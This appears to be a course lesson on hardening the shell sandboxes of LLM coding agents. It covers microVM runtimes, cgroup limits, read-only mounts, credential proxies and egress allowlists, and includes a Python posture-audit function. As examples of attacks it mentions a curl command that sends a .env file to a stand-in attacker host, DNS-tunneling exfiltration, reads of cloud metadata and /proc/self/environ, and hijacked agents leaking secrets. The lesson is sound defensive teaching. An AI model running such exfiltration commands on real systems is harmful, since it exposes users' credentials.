Mental model
Giving an LLM coding agent a shell tool means executing model-driven code potentially influenced by untrusted repositories, malicious PR comments, or poisoned web pages. Sandboxing enforces strict kernel, filesystem, CPU/memory (cgroup v2), and capability walls around what running processes touch locally, whereas egress control restricts outbound DNS/HTTP connections outside the sandbox so hijacked tools cannot silently exfiltrate repository secrets over webhooks.
Learning outcomes
- Explain why default shared Docker containers are insufficient isolation boundaries for executing hostile untrusted agent code.
- Implement defense-in-depth across filesystem mounts (
rovs scratchnoexec),cgroups v2fork-bomb limits, stripped Linux capabilities, and secret omission. - Prevent credential exfiltration cleanly using external sidecar DNS/HTTP allowlist proxies and authenticated credential injection outside the guest sandbox.
Theory
Treating docker run ubuntu directly cleanly as a security boundary exposes multi-tenant hosts silently: shared host kernel syscalls remain reachable (Dirty COW-style exploits), mounted ~/.aws or Docker socket volumes grant total node compromise instantly, and unrestricted outbound TCP lets malicious postinstall npm hooks pipe process.env straight out to attacker domains! Hardened tool runners isolate five independent walls synchronously:
| Isolation Boundary | Hardened Mechanism | Attack / Outage Blocked | Common Configuration Mistake |
|---|---|---|---|
| Execution Kernel | Hardware-virtualized MicroVM (Firecracker / Kata) or user-space kernel (gVisor) | Container kernel escape exploits on shared host kernel | Running raw privileged Docker sharing host Linux kernel |
| Filesystem & Secret Boundary | Read-only system bins, ephemeral clean workspace overlay, NO host .env/SSH keys | Persisting backdoors, poisoning images, reading cloud IAM tokens | Mounting shared RW caches or passing upstream PAT secrets directly inside env |
| Resource & Process Caps | cgroups v2 hard memory cap, pids.max = 128, non-root UID 1001, wall timeout | Infinite while(1) CPU burns, OOM crashes, recursive shell fork bombs | Leaving memory/PID counts unlimited (OOMKilled hits neighboring pods) |
| Network Egress Firewall | Default-deny network namespace (--network=none) or external proxy allowlisting exact domains (pypi.org) | curl https://evil.io -d @/app/.env, internal cloud SSRF (169.254.169.254), DNS tunneling | Blocking inbound firewall ports while leaving unrestricted outbound HTTPS open |
Crucially, when coding sandboxes must fetch Git repos or install packages, keep real long-lived credentials strictly inside an outer host proxy (credential helper / authenticated egress gateway): the sandbox sends traffic solely to that trusted proxy, which strips internal IP ranges (RFC1918, IMDS 169.254.169.254), logs requests, and swaps scoped short-lived tokens only for explicitly approved hosts!
pythonfrom dataclasses import dataclass@dataclass(frozen=True)class SandboxSpec:runtime: strnon_root_uid: intreadonly_rootfs: boolmemory_limit_mb: intpids_limit: integress_allowed_domains: frozenset[str]ambient_env_forwarded: tuple[str, ...]def audit_sandbox_posture(spec: SandboxSpec) -> list[str]:"""Fail-closed preflight audit rejecting insecure code-execution sandbox profiles."""violations: list[str] = []if spec.runtime not in ("firecracker", "kata", "gvisor"):violations.append(f"weak_isolation_runtime:{spec.runtime}")if spec.non_root_uid == 0:violations.append("running_as_root_uid_zero")if not spec.readonly_rootfs:violations.append("writable_root_filesystem_risk")if spec.memory_limit_mb <= 0 or spec.memory_limit_mb > 4096 or spec.pids_limit <= 0:violations.append("missing_or_unbounded_cgroup_quotas")if "*" in spec.egress_allowed_domains:violations.append("wildcard_outbound_egress_exfiltration")if any(k for k in spec.ambient_env_forwarded if k.endswith(("KEY", "TOKEN", "SECRET"))):violations.append("ambient_secret_injected_into_untrusted_env")return violations
Trade-offs
Full MicroVM isolation paired with strict offline --network=none execution delivers rock-solid security guarantees against arbitrary malicious Git repositories and prompt-injected package scripts, eliminating host escapes and secret theft completely. However, spinning up isolated microVMs adds cold-start boot latency (150–600 ms unless pooled from snapshots) and complicates workflows requiring live upstream package installs (pip install / npm test) unless paired with pre-warmed dependency snapshots or strict domain-allowlisted caching proxies.
Failure modes and misconceptions
- Assuming Inbound Firewall Blocks Stop Exfiltration: Denying incoming ports stops attackers connecting in cleanly, yet allows compromised guest shells inside to establish outbound HTTPS reverse shells or
POSTsecrets out cleanly. - Allowing Raw UDP DNS Lookups Outbound: Blocking outbound HTTP while leaving raw UDP
:53DNS open lets attackers encode private files straight inside DNS queries (secret_key.attacker.com). - Passing Real API Keys Inside Sandbox
env: InjectingGITHUB_TOKENdirectly into bash container env allows anynpm testscript or malicious README payload to inspect/proc/self/environimmediately. - Reusing Warm Mutable Workspaces Between Tenants: Skipping ephemeral VM/disk tear-down between users allows User A's test runner to drop malicious
.bashrcor.git/hooks/pre-commitpayloads hitting User B.
Decision scenario
An autonomous engineering agent clones unknown third-party repositories and runs full unit test suites. Yesterday a test fixture triggered a malicious Python conftest.py scanning os.environ and querying 169.254.169.254. Harden container runtime selection, cgroups, read-only mounts, credential proxy stripping, and outbound DNS/IMDS blocking cleanly.